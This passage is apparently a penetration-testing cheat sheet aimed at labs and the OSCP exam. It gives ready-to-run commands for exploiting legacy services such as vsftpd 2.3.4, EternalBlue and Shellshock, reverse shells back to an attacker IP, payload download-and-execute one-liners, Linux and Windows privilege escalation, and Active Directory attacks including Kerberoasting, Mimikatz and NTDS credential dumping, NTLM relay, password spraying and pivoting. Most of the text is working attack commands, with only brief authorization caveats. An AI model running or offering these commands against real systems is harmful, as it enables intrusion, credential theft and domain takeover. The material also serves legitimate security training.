A handful of service-level vulnerabilities appear constantly on legacy boxes, lab machines and exams. They are worth knowing by heart: the banner you see, the CVE it maps to, and the exact three commands that turn it into a shell. Check versions first — these are all version-gated, and exploiting the wrong build wastes time.
# Banner check
nmap -sV 10.10.10.5 # 21/tcp open ftp vsftpd 2.3.4
# Trigger the backdoor with a smiley in the username
nc 10.10.10.5 21
USER test:)
PASS test
# The backdoor opens on 6200
nc -v 10.10.10.5 6200
id
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Arbitrary command execution through the distributed compiler
nmap -p 3632 10.10.10.7 \
--script distcc-cve2004-2687 \
--script-args="distcc-cve2004-2687.cmd='nc -nv 10.10.14.5 4466 -e /bin/bash'"
# If the target blocks nc, use a bash reverse pipe instead
nmap -p 3632 10.10.10.7 \
--script distcc-cve2004-2687 \
--script-args="distcc-cve2004-2687.cmd='bash -i >& /dev/tcp/10.10.14.5/4466 0>&1'"
nc -nlvp 4466
# Detect
nmap --script smb-vuln-ms17-010 -p 445 10.10.10.4
nmap --script smb-vuln* -p 445 -Pn 10.10.10.4
# EternalBlue — generate, send, execute
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4242 \
-f exe > shell.exe
nc -nlvp 4242
python3 send_and_execute.py 10.10.10.4 shell.exe
# MS08-067 — extremely old XP-era targets only
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 \
EXITFUNC=thread -f c -a x86 --platform windows \
-b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40"
# paste the shellcode into the public ms08-067.py exploit
python3 ms08-067.py 10.10.10.4 6 445
# Detect
nmap -sV -p80 --script http-shellshock \
--script-args uri=/browser.cgi,cmd=id target.com
# Exploit — payload in the User-Agent of a /cgi-bin/ request
curl -A "() { :;}; /bin/bash -c 'id'" \
http://10.10.10.10/cgi-bin/test.cgi
# Reverse shell variant
curl -A "() { :;}; /bin/bash -i >& /dev/tcp/10.10.14.5/4444 0>&1" \
http://10.10.10.10/cgi-bin/vuln.sh
nc -lvnp 4444
# Other injectable headers: Referer, Cookie
curl -H 'Referer: () { :; }; /bin/bash -c "id"' \
http://10.10.10.10/cgi-bin/test.cgi
# Drupal 7.x render-array RCE — the classic one-liner
python2 drupalgeddon2.py -h http://10.10.10.9 \
-c 'dir C:\Users\burak\Desktop\'
# Search the exploit first
searchsploit drupal rce
Version-Gated Attacks
Every exploit here fails on the wrong version — confirm the banner before pulling the trigger. When a public script misbehaves, the Metasploit module (or a different PoC) often still works; failing that, read the exploit code and patch the payload yourself.
Shell Upgrade and File Transferlinux
# TTY upgrade (Python)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Press Ctrl+Z, then on your machine:
stty raw -echo; fg
export TERM=xterm-256color
# File transfer — Linux target
wget http://10.10.14.5:8000/linpeas.sh
curl http://10.10.14.5:8000/tools.sh -o tools.sh
base64 -w0 file | nc 10.10.14.5 9001 # when channels are restricted
# Serving files from your machine
python3 -m http.server 8000
# Windows target
certutil -urlcache -f http://10.10.14.5:8000/winpeas.exe winpeas.exe
powershell iwr http://10.10.14.5:8000/tools.ps1 -OutFile tools.ps1
powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.5:8000/rev.ps1')
Handy Shortcut
SMB transfer for lateral movement: run impacket-smbserver share . -smb2support, then use the \\10.10.14.5\\share\\tool.exe path — it works on virtually every Windows target.
06
Privilege Escalation
Paths from user to root/SYSTEM on Linux and Windows
Linux Privilege Escalationlinux
Privilege escalation on Linux draws from four main sources: misconfigured sudo rules, SUID/SGID binaries, scheduled tasks (cron) and writable critical paths. Your routine should cover all four every time. GTFOBins is the most valuable reference for determining how a binary can be abused for root.
# Quick recon
id && uname -a && hostname && sudo -l
# SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Writable directories and files
find / -writable -type d 2>/dev/null | grep -v proc
# Scheduled tasks
crontab -l; cat /etc/crontab; ls -la /etc/cron*
# Capabilities
getcap -r / 2>/dev/null
# sudo version — CVE-2021-3156 (Baron Samedit) and friends
sudo --version
sudo -l NOPASSWD: look up every listed binary in GTFOBins; find, vim, python, tar and less are classic wins
SUID PATH hijack: if a SUID script calls external commands (service etc.), prepend your PATH with a writable directory
Cron hijack: find a root-owned script you can write; append a reverse shell line
Kernel exploits: for older kernels (DirtyCow, DirtyPipe CVE-2022-0847) run linux-exploit-suggester
SSH keys: if you can read /root/.ssh/id_rsa, that is direct root access
Linux PrivEsc Playbook: Kernel, PATH, Cron and NFSlinux
When the standard checks come up empty, this is the deep playbook. Kernel CVEs cover unpatched systems; sudo misconfigurations go far beyond GTFOBins (environment variables like LD_PRELOAD); PATH hijacking turns a SUID script into a root shell; and NFS exports without root_squash let you plant a SUID binary that keeps its setuid bit on the server. Work through the techniques in order of noise level.
# A SUID script that shells out to an unqualified command (e.g. 'thm')
find / -perm -4000 -type f 2>/dev/null
cat /path/to/path_exp.c # system("thm") — no absolute path
# Plant your own 'thm' ahead of the real PATH
export PATH=/tmp:$PATH
echo "/bin/bash" > /tmp/thm
chmod 777 /tmp/thm
/path/to/path_exp # executes /tmp/thm as root
whoami
# NFS — export without root_squash keeps SUID bits
showmount -e 10.10.10.5
mkdir -p /tmp/nfs
mount -t nfs -o rw 10.10.10.5:/var/www/html /tmp/nfs
cp /bin/bash /tmp/nfs/bash
chmod +s /tmp/nfs/bash
# on the target: /mnt/nfs/bash -p
# Writable /etc/passwd — mint a root user
openssl passwd w00t # -> l6zpgl8zi8tp6
echo "root2:l6zpgl8zi8tp6:0:0:root:/root:/bin/bash" >> /etc/passwd
su root2
Windows Privilege Escalationwindows
On Windows the focus areas are token privileges, service configurations and stored credentials. Seeing SeImpersonate in whoami /priv output is an open door to SYSTEM via the Potato family. Unquoted service paths with spaces and writable service binaries are classic wins as well.
# Identity and privilege checks
whoami /priv
whoami /groups
systeminfo | findstr /B /C:"OS" /C:"Hotfix"
# Unquoted service paths
wmic service get name,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows"
# AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Stored credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
cmdkey /list
# If SeImpersonate is present — the Potato family
# GodPotato, JuicyPotatoNG, PrintSpoofer
Windows PrivEsc Playbook: Services, Registry and Taskswindows
Windows privilege escalation is a checklist, not an art. Enumerate services and their permissions, then walk the exploitation menu: writable service configs, unquoted paths, weak registry keys, writable binaries, MSI policies, stored credentials and scheduled tasks. accesschk.exe and winPEAS find the weakness; the patterns below convert it into SYSTEM.
# 1) Insecure service permissions (weak DACL)
accesschk.exe /accepteula -uwcqv user daclsvc # RW on the service
sc qc daclsvc # find BINARY_PATH_NAME
sc config daclsvc binpath= "C:\PrivEsc\reverse.exe"
net start daclsvc # SYSTEM shell lands in nc
# 2) Unquoted service path with spaces
wmic service get name,pathname,startmode | findstr /i "Auto"
# C:Program FilesUnquoted Path ServiceCommon Filesservice.exe
accesschk.exe /accepteula -uwdq "C:Program FilesUnquoted Path Service\"
copy reverse.exe "C:Program FilesUnquoted Path Service\Common.exe"
net start unquotedsvc
# 3) Weak registry permissions
accesschk.exe /accepteula -uvwqk \
HKLM\System\CurrentControlSet\Services\regsvc
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc \
/v ImagePath -t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe
net start regsvc
# Writable service binary — overwrite it
icacls "C:Program Files\File Permissions Service\filepermservice.exe"
# BUILTIN\Users:(M) means writable
copy /Y C:\Temp\reverse.exe \
"C:Program Files\File Permissions Service\filepermservice.exe"
net start filepermsvc
# AlwaysInstallElevated — both keys must be 0x1
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer \
/v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer \
/v AlwaysInstallElevated
# Build and run the MSI silently as SYSTEM
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 \
LPORT=3333 -f msi -o reverse.msi
certutil -urlcache -f http://10.10.14.5:80/reverse.msi reverse.msi
msiexec /quiet /qn /i reverse.msi
Manual routines build understanding; automation tools sweep hundreds of checks in minutes. Use both together: verify every automated finding by hand and look up how to exploit it in GTFOBins / LOLBAS.
# Linux — linpeas
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh && ./linpeas.sh -a 2>/dev/null | tee linpeas.out
# Windows — winpeas
certutil -urlcache -f https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe winpeas.exe
# Additional tools
# linux-exploit-suggester-2 — kernel exploit suggestions
# PowerUp.ps1 — Windows service misconfigurations
Invoke-AllChecks # after loading PowerUp
Category
Linux
Windows
SUID / Tokens
find -perm -4000, getcap
whoami /priv, Potatoes
Services
ps aux, systemctl list-units
sc query, wmic service
Scheduling
crontab, /etc/cron*, systemd timer
schtasks, Task Scheduler
Credentials
history, .ssh, config files
cmdkey, DPAPI, LSASS dump
Exploit hints
linux-exploit-suggester
windows-exploit-suggester
07
Active Directory Attacks
Domain attacks: enumeration, Kerberos abuse, credential dumping and lateral movement
AD Fundamentals and First Enumerationwindows
Active Directory is the identity backbone of nearly every enterprise: a centralized directory that stores users, groups, computers and trust relationships, and authenticates them through NTLM and Kerberos. Because one compromised account can pivot across an entire forest, AD is the primary target of every serious internal engagement. Attack surface lives on a handful of ports — LDAP (389/636), Kerberos (88), SMB (445), RPC (135), DNS (53) and WinRM (5985/5986) — and a domain controller (DC) exposing all of them is a sign you are facing a full AD environment.
Concept
What It Is
Why It Matters
Domain Controller
Server hosting AD and authenticating users
Compromise of a DC equals compromise of the domain
krbtgt
Service account that signs every Kerberos ticket
Its hash forges Golden Tickets
NTDS.dit
Database storing all domain objects and hashes
Dumping it gives the entire domain
SPN
Service Principal Name mapping a service to an account
# Current identity and privilege picture
whoami /priv
whoami /groups
systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version"
# Domain users, groups and machines
net user /domain
net user burak /domain
net group /domain
net group "Domain Admins" /domain
net group "Domain Controllers" /domain
# Prepare the session for tooling
powershell -ep bypass # bypass execution policy
Set-MpPreference -DisableRealtimeMonitoring $true # disable Defender (lab only)
# Null session check and user/share listing over SMB
nxc smb 10.10.10.10 -u '' -p '' --users --shares
crackmapexec smb 10.10.10.10 -u '' -p '' --users
# All-in-one enumeration (users, groups, policies, shares)
enum4linux -a 10.10.10.10
# RPC null session
rpcclient -U "" -N 10.10.10.10
# Valid username discovery over Kerberos
kerbrute userenum -d corp.local --dc 10.10.10.10 users.txt
# Find the base naming context via LDAP
ldapsearch -x -H ldap://10.10.10.10 -s base namingContexts
Null Sessions First
Always test anonymous access before anything else. A null session over SMB or RPC quietly leaks the full user list, password policy and share inventory — data you would otherwise spend an hour collecting.
PowerView Enumerationwindows
PowerView is the classic PowerShell situational-awareness toolkit for AD. Once you are on any domain-joined Windows host with a standard user, it reveals users, groups, sessions, shares and — most importantly — the ACL relationships that BloodHound later visualizes. Load it with Import-Module .\PowerView.ps1 (or dot-source it) after bypassing the execution policy.
# Domain context
Get-NetDomain
Get-DomainSID
Get-DomainPolicy
# Users — the description field often hides passwords
Get-NetUser | select cn, pwdlastset, lastlogon, description
# Pre-attack candidates
Get-NetUser -SPN # Kerberoastable accounts
Get-NetUser -PreauthNotRequired # AS-REP roastable accounts
# Groups and memberships
Get-NetGroup | select cn
Get-NetGroupMember "Domain Admins"
Get-NetGroup "Sales Department" | select member
# Machines and operating systems
Get-NetComputer | select dnshostname, operatingsystem, operatingsystemversion
# Where are users logged on right now?
Get-NetSession -ComputerName WS01
Get-LoggedOnLocal -ComputerName WS01
Find-DomainUserLocation # where is a specific user active?
# Shares you can actually reach
Find-DomainShare -CheckShareAccess
# ACL hunting — the goldmine
Get-ObjectAcl -Identity "Domain Admins" -ResolveGUIDs
Find-InterestingDomainAcl -ResolveGUIDs # exploitable ACLs only
# Group Policy objects you might control
Get-NetGPO | select displayname, whenchanged
Description Fields Are a Classic Leak
Operators still write temporary passwords into user description fields. Sweep every user object's description during enumeration — it is a one-liner that occasionally ends the engagement.
SharpHound and BloodHoundwindows
BloodHound turns AD relationships into a graph and answers the only question that matters: what is the shortest path from my current user to Domain Admin? Collection is done by SharpHound on Windows (from a shell) or bloodhound-python from Kali; the resulting JSON is ingested into the BloodHound UI for analysis. Every engagement with an AD component should collect at least once.
01
Collect
Run SharpHound.exe -c all on a domain-joined host, or bloodhound-python from Linux against the DC.
02
Ingest
Upload the ZIP through the BloodHound interface (Upload Data button); ingestion takes seconds to minutes.
03
Analyze
Search your user, right-click, run Shortest Paths to Domain Admins, then verify each edge manually.
04
Act
Convert the first edge into an attack: password reset, ACL abuse, session hijack or Kerberos attack.
# Full collection without touching a Windows host
bloodhound-python -u 'burak' -p 'Password1' -d corp.local \
-c all --zip -ns 10.10.10.10 -dc dc01.corp.local
# Stand up the BloodHound backend with Docker
git clone https://github.com/SpecterOps/BloodHound.git
cd BloodHound/examples/docker-compose/
sudo docker-compose up -d
sudo docker-compose logs | grep "Password" # initial admin password
Edge (Permission)
Meaning
Typical Abuse
MemberOf
Membership in a group
Inherit the group's rights
GenericAll
Full control of the object
Reset password / add to group
GenericWrite
Write selected attributes
Set SPN, targeted Kerberoast
WriteDacl
Rewrite the object's ACL
Grant yourself GenericAll
WriteOwner
Take ownership of the object
Owner implies WriteDacl
ForceChangePassword
Reset the password
Log in as the target
DCSync
Replicate directory secrets
Dump krbtgt, forge tickets
Built-in Queries That Matter
Start with: Find all Domain Admins, Shortest Paths to Domain Admins, Kerberoastable Users, AS-REP Roastable Users, Find Principals with DCSync Rights, and Users with Most Local Admin Rights. Collect data only from systems you are authorized to touch.
ACL Abuse: GenericAll, WriteDacl and WriteOwnerwindows
Most AD privilege-escalation chains are not exploits at all — they are the abuse of legitimate permissions. The pattern is always the same: use a weaker right to grant yourself a stronger one, then convert that strength into account control. Learn the three chains below and you can improvise the rest by reading BloodHound edges.
# Reset the target's password over RPC (no old password needed)
rpcclient -U "burak%Password1" 10.10.10.10 \
-c "setuserinfo2 administrator 23 'NewPass123!'"
# Alternative with net rpc
net rpc password "administrator" "NewPass123!" -U "burak%Password1" -S 10.10.10.10
# Then log in with the new credentials
evil-winrm -i 10.10.10.10 -u administrator -p 'NewPass123!'
# Join a privileged group
rpcclient -U "burak%Password1" 10.10.10.10 \
-c "addgroupmem 'IT Admins' burak"
# Verify and enjoy inherited rights
rpcclient -U "burak%Password1" 10.10.10.10 -c "querygroupmem 0x201"
# WriteDacl: grant yourself FullControl, then reset the password
impacket-dacledit -action 'write' -rights 'FullControl' \
-principal 'burak' -target 'administrator' \
'corp.local'/'burak':'Password1'
# WriteOwner: become the owner first, then give yourself GenericAll
python3 bloodyAD.py -d corp.local -u burak -p 'Password1' \
--host 10.10.10.10 set owner 'administrator' 'burak'
python3 bloodyAD.py -d corp.local -u burak -p 'Password1' \
--host 10.10.10.10 add ace 'administrator' 'burak' 'GenericAll'
# 1) Attach a fake SPN to the target account (needs GenericAll/Write)
addspn.py -u "burak" -p "Password1" -t "administrator" \
--additional "fake/service" corp.local
# 2) Request a TGS for that SPN — the hash drops to stdout
GetUserSPNs.py -request -dc-ip 10.10.10.10 "corp.local/burak:Password1"
# 3) Crack offline
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
Shadow Credentials — the Modern Alternative
With GenericAll on a user or computer you can inject a key credential into msDS-KeyCredentialLink with pywhisker, then request a TGT via PKINIT with gettgtpkinit. It leaves the password untouched and works on Server 2016+ domains.
Kerberos Attacks: Kerberoasting, AS-REP and Ticket Forgerieswindows
Kerberos grants tickets instead of sending passwords: a TGT from the KDC at logon, then a TGS per service. Two design consequences are abusable: any domain user can request a TGS for any SPN (Kerberoasting), and accounts without pre-authentication hand over an AS-REP encrypted with their own password (AS-REP roasting). Both produce offline-crackable hashes. With the krbtgt hash in hand you can skip authentication entirely and forge tickets.
# Impacket (Linux) — the standard
impacket-GetUserSPNs -request -dc-ip 10.10.10.10 \
'corp.local/burak:Password1'
impacket-GetUserSPNs -request -dc-ip 10.10.10.10 \
'corp.local/burak:Password1' -target-user svc_mssql
# Rubeus (Windows)
Rubeus.exe kerberoast /nowrap
# Crack the captured hash (RC4-HMAC is the common mode)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
# AES keys: -m 13200 (AES128) / -m 13300 (AES256)
# Convert the .kirbi to ccache and use it with Kerberos tools
impacket-ticketConverter golden.kirbi golden.ccache
export KRB5CCNAME=golden.ccache
impacket-psexec -k -no-pass corp.local/[email protected]
Silver Ticket: forge only a TGS for one service with the service account's hash — more surgical but rarely needed; on the OSCP exam, skip it unless a specific service demands it
Golden vs Silver: Golden uses krbtgt and works domain-wide; Silver is limited to the targeted SPN
Clock skew errors: Kerberos fails on time drift — sync with the target first: sudo ntpdate corp.local
Kerberoasting Prerequisite
You need one valid domain account (any standard user works) to request TGS tickets. Find SPN accounts first with PowerView's Get-NetUser -SPN or BloodHound's Kerberoastable Users query — service accounts with weak passwords are the intended victims.
Credential Dumping: Mimikatz, LSASS, SAM and NTDS.ditwindows
Once you hold an administrative shell, credentials are the product: they feed lateral movement, privilege escalation and the final report. Windows stores them in several places — LSASS memory for live logon secrets, the SAM hive for local accounts, and NTDS.dit on domain controllers for every account in the domain. Learn one technique per store and you can always improvise the rest.
mimikatz # privilege::debug # Privilege '20' OK expected
mimikatz # sekurlsa::logonpasswords # cleartext + NTLM from memory
mimikatz # sekurlsa::tickets # Kerberos tickets in memory
mimikatz # sekurlsa::tickets /export # export .kirbi files
mimikatz # lsadump::sam # local SAM hashes
mimikatz # lsadump::lsa /patch # local secrets (noisy)
mimikatz # lsadump::dcsync /user:krbtgt # domain hash replication
# One-liner for scripts (AV permitting)
.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "exit"
# Sysinternals — dump and analyze offline
procdump.exe -ma lsass.exe lsass.dmp
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
# Built-in comsvcs (no extra binaries on disk)
rundll32 C:\windows\system32\comsvcs.dll, MiniDump \
C:\Windows\Temp\lsass.dmp full, process lsass.exe
# Parse the dump from Linux
pypykatz lsa minidump lsass.dmp
# From an admin shell on the target
reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save
# Back on Kali — extract and crack
impacket-secretsdump -sam sam.save -system system.save LOCAL
hashcat -m 1000 ntlm.txt /usr/share/wordlists/rockyou.txt
# Or dump remotely with any admin credentials
impacket-secretsdump corp.local/admin:'Password1'@10.10.10.10
# 1) Snapshot the C: volume
vshadow.exe -nw -p C:
# 2) Copy the locked database out of the snapshot
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\ntds.dit \
C:\ntds.dit.bak
# 3) Save the SYSTEM hive (holds the bootkey)
reg.exe save hklm\system C:\system.bak
# DCSync — needs Domain Admin or the DCSync right
impacket-secretsdump corp.local/admin:'Password1'@10.10.10.10 -just-dc-ntlm
impacket-secretsdump corp.local/admin:'Password1'@10.10.10.10 \
-just-dc-user krbtgt
# Offline NTDS.dit + SYSTEM pair (from the shadow copy above)
impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL
# If your user can read gMSA passwords (BloodHound shows ReadGMSAPassword)
.\GMSAPasswordReader.exe --AccountName svc_apache
# The output rc4_hmac value IS the NTLM hash — use it directly
evil-winrm -i 10.10.10.10 -u 'svc_apache$' -H <NTHASH>
AV Sensitivity
LSASS dumping is the most signature-heavy action in this chapter. Comsvcs.dll, procdump and mimikatz are all monitored by Defender. In labs, disable real-time protection first; in real engagements, agree on EDR evasion scope with the client before touching credentials.
Windows accepts three flavors of credential replay. Pass-the-Hash authenticates with a raw NTLM hash over SMB (445/139). Overpass-the-Hash exchanges that hash for a proper Kerberos TGT when services refuse NTLM. Pass-the-Ticket injects a ticket stolen from memory into a new session. Knowing which one fits which situation saves minutes during every internal engagement.
# Mimikatz: open a process that requests a TGT with the hash
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:burak /domain:corp.local \
/ntlm:<NTHASH> /run:powershell
# In the new window — verify the ticket loaded
klist
# Linux: request a TGT for the hash, then use Kerberos remoting
impacket-getTGT corp.local/burak -hashes :<NTHASH>
export KRB5CCNAME=burak.ccache
impacket-psexec -k -no-pass corp.local/[email protected]# Windows: export tickets from memory, inject the one you need
mimikatz # sekurlsa::tickets /export
mimikatz # kerberos::ptt [0;12bd0][email protected]mimikatz # klist
dir \\web04\backup
Format Conversion
Tickets travel between operating systems: impacket-ticketConverter ticket.kirbi ticket.ccache converts a Windows .kirbi into the Linux ccache format. The reverse works too when a Linux-collected ticket needs to be used on Windows.
LLMNR Poisoning and NTLM Relaywindows
When Windows cannot resolve a hostname via DNS, it broadcasts the question to the whole network using LLMNR and NBT-NS. An attacker who answers those broadcasts becomes the destination — and receives the victim's NTLM authentication attempt. From there, either crack the captured Net-NTLMv2 hash offline, or relay it live against a machine that does not enforce SMB signing.
# Poison LLMNR/NBT-NS and capture hashes
sudo responder -I eth0
sudo responder -I tun0 -dwv # VPN, verbose, with DHCP spoof
# Any Windows user triggers it by touching a bogus share
Invoke-WebRequest -Uri "\\nonexistenthost\share"
# Crack the captured Net-NTLMv2
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
# 1) Build a target list of SMB-signing-disabled hosts
nxc smb 192.168.100.0/24 -u 'burak' -p 'Password1' \
--gen-relay-list smb_targets.txt
# 2) Relay authentication into them
impacket-ntlmrelayx --no-http-server -smb2support -tf smb_targets.txt
# 3) Or relay into a single host and execute a command
sudo impacket-ntlmrelayx -t 10.10.10.50 -smb2support -c "whoami"
# 4) Disable SMB+HTTP in Responder so only the relay answers
sudo responder -I eth0 --disable-smb --disable-http
# Kali: responder listening
sudo responder -I eth0
# Drop a .url file into any SMB share the user browses
# File: @hax.url -- IconFile forces an SMB connection back to you
[InternetShortcut]
URL=anything
WorkingDirectory=anything
IconFile=\\10.10.14.5\%USERNAME%.icon
IconIndex=1
# The NTLMv2 hash lands in the Responder console
Relay Requirements
Relay only works when the target has SMB signing disabled AND the relayed user has local admin rights on it. Both conditions are exactly what the gen-relay-list output and nxc --sam checks reveal. Never relay to the DC's own IP blindly — signing is enabled there by default.
Password Sprayingwindows
Spraying flips brute force: instead of many passwords against one account, one well-chosen password is tried against many accounts. One attempt per account rarely triggers lockout, and human password habits (Season + Year + symbol) make a single smart guess dangerously effective. Always read the lockout policy before the first attempt.
# Windows
net accounts
# Over RPC (Linux)
rpcclient -U "" -N 10.10.10.10 -c getdompwinfo
# The numbers that matter: lockout threshold, observation window,
# and how long since the last bad-password counter reset
# One password against a user list (classic spray)
nxc smb 10.10.10.10 -u users.txt -p 'Winter2025!' --continue-on-success
# Domain context (hashes from NTDS)
nxc smb 10.10.10.10 -d corp.local -u users.txt -p 'Winter2025!'
# Local context (SAM-derived local users) — note --local-auth
nxc winrm 10.10.10.10 -u users.txt -p 'Password123!' \
--local-auth --continue-on-success
# Flag successful logins that hold admin rights
nxc smb 10.10.10.10 -u users.txt -p 'Winter2025!' --admin
# Follow up: what can a hit actually reach?
nxc smb 10.10.10.10 -u burak -p 'Winter2025!' --shares --sessions
# Fast and lockout-friendly: one password, all users
./kerbrute_linux_amd64 passwordspray -d corp.local --dc 10.10.10.10 \
users.txt 'Nexus123!'
# Enumerate valid usernames first (Kerberos pre-auth errors leak them)
./kerbrute_linux_amd64 userenum -d corp.local --dc 10.10.10.10 \
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \
-o valid_users.txt
Lockout Discipline
Two sprays per observation window is the practical ceiling. Log the timestamp of every attempt, never spray service accounts (they often lock permanently), and coordinate the schedule with the client if production accounts are in scope.
Lateral Movement and Remote Executionwindows
Lateral movement converts one credential into domain-wide access. The tool choice is dictated by which remote execution protocol the target exposes — SMB (445), WMI (135), WinRM (5985) or RDP (3389) — and by how noisy you are allowed to be. Impacket's execution family covers them all from Linux; evil-winrm gives an interactive PowerShell over WinRM.
# Connect with a password, a hash, or over SSL
evil-winrm -i 10.10.10.10 -u burak -p 'Password1' -d corp.local
evil-winrm -i 10.10.10.10 -u 'svc_apache$' -H <NTHASH>
evil-winrm -i 10.10.10.10 -S -u administrator -p 'Password1'
# If you are admin but WinRM is closed — open it (lab/lab-authorized)
winrm quickconfig -quiet
Set-Service -Name WinRM -StartupType Automatic
New-NetFirewallRule -Name "Allow WinRM HTTP" -Direction Inbound \
-LocalPort 5985 -Protocol TCP -Action Allow -Profile Any
# Enable RDP and allow it through the firewall
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" \
-Name fDenyTSConnections -Value 0
New-NetFirewallRule -DisplayName "Remote Desktop" -Direction Inbound \
-Action Allow -Protocol TCP -LocalPort 3389
# Find the LAPS password (needs ReadLAPSPassword rights)
ldapsearch -x -H ldap://10.10.10.10 \
-D '[email protected]' -w 'Password1' \
-b "DC=corp,DC=local" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
# The fast way with NetExec
nxc ldap 10.10.10.10 -u burak -p 'Password1' --laps
# Then use it as the machine's local Administrator
impacket-psexec 'administrator:LAPSPASSWORD'@10.10.10.50
evil-winrm -i 10.10.10.50 -u Administrator -p 'LAPSPASSWORD'
Execution Choice Heuristics
Start with wmiexec for stealth; fall back to psexec when you need a fully interactive SYSTEM shell and noise is acceptable. If only 3389 is open, enable nothing — connect with xfreerdp /u:administrator /p:password /v:target and use the GUI.
Pivoting and Tunnelingwindows
Internal networks are segmented, and the machine you just compromised is usually your only bridge into them. Pivoting turns that single host into a router for your tooling: SSH tunnels for one port at a time, dynamic SOCKS proxies for arbitrary targets, and Ligolo-ng for a proper layer-3 tunnel that makes whole subnets appear local. Always enumerate the new network from the pivot host before building tunnels.
# Local forward — reach an internal service through the pivot host
ssh [email protected] -p 2222 -N -L 8000:127.0.0.1:8000
# Dynamic forward (SOCKS) — tunnel entire tool traffic
ssh [email protected] -p 2222 -N -D 1080
# Route tools through the SOCKS proxy
proxychains nmap -sT -Pn 10.10.200.10 -p 80,445
# On the pivot: which internal ranges exist?
ip a
ip route
# 1) Kali: create the tunnel interface
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
# 2) Kali: start the proxy on a firewall-friendly port
sudo ./proxy -selfcert -laddr 0.0.0.0:443
# 3) Target: run the agent back to you (Windows: agent.exe)
./agent -connect 10.10.14.5:443 -ignore-cert
# 4) Kali: session bookkeeping
session # list connected agents
session --id 1 # select the agent
start # bring the tunnel up
# 5) Kali: route the internal subnet through the tunnel
sudo ip route add 192.168.110.0/24 dev ligolo
# 6) For reverse shells through the tunnel, add listeners
listener_add --addr 0.0.0.0:80 --to 127.0.0.1:80 --tcp
Persistence of the agent: run it with nohup ... > /dev/null 2>&1 & so it survives your shell disconnecting
Reset procedure: if the tunnel misbehaves, delete the interface (sudo ip link delete ligolo) and rebuild it — routes disappear with the interface
Verify routing:ip route show must list the internal subnet via the tunnel interface before any scan will work
Meterpreter Alternative
Inside a meterpreter session, run autoroute -s 10.10.200.0/24 plus portfwd add -l 3389 -p 3389 -r 10.10.200.10 achieves the same result without new binaries on the target.
Token Privileges: Potatoes, SeRestore and GPO Abusewindows
On any Windows foothold, whoami /priv is the very first command: service accounts frequently hold SeImpersonatePrivilege, which converts directly to SYSTEM through the Potato family. Other token privileges (SeRestore, SeBackup, SeTakeOwnership) each open their own path, and writable Group Policy objects let you escalate at domain scale. This section is the practical conversion table from privilege to shell.
# Enable the privilege programmatically
Import-Module .\EnableSeRestorePrivilege.ps1
[Privileges]::EnableAll()
whoami /priv # verify SeRestore is Enabled
# Backup, swap and trigger from the RDP logon screen (Win + U)
copy C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.bak
copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
# One-shot alternative
Invoke-SeRestoreAbuse -Command "C:\Users\Public\nc.exe 10.10.14.7 4444 -e cmd.exe"
# 1) Find GPOs you can edit (PowerView)
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} \
| ?{$_.IdentityReference -match "burak"}
# 2) Inject a malicious rule (adds you to local admins)
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount burak \
--GPOName "Default Domain Policy"
# 3) Force propagation on the target and verify
gpupdate /force
net localgroup Administrators
Choosing the Right Potato
Match the tool to the build: JuicyPotato up to Windows 10 1809 / Server 2019, GodPotato or RoguePotato on newer builds, PrintSpoofer wherever the spooler service runs. GodPotato also chains nicely with mimikatz: GodPotato-NET4.exe -cmd "mimikatz.exe \"privilege::debug\" \"sekurlsa::logonpasswords\" \"exit\"".
08
Password & Hash Attacks
Hash identification, hashcat, John, Hydra and wordlist strategy
Hash Identification
Choosing the right cracking tool starts with identifying the hash format correctly. Length and prefix patterns are usually sufficient hints. When in doubt use hashid or hashcat's --identify; however, automatic identifiers produce false positives, so verify the format by eye.
hashcat is the universal GPU-accelerated recovery tool. Attack modes: dictionary (-a 0), combination (-a 1), mask/brute force (-a 3) and hybrid (-a 6/7). Do not stay in weak mode: rule files and mask patterns multiply the power of any wordlist.
Without a GPU, hashcat falls back to a much slower CPU path. For heavy algorithms such as bcrypt, consider distributed setups — but never submit production hashes to third-party online cracking services.
John the Ripper and Hydra
# Basic dictionary attack
john --wordlist=rockyou.txt hash.txt
# Show cracked passwords
john --show hash.txt
# Linux user + shadow combination
unshadow passwd shadow > unshadowed.txt
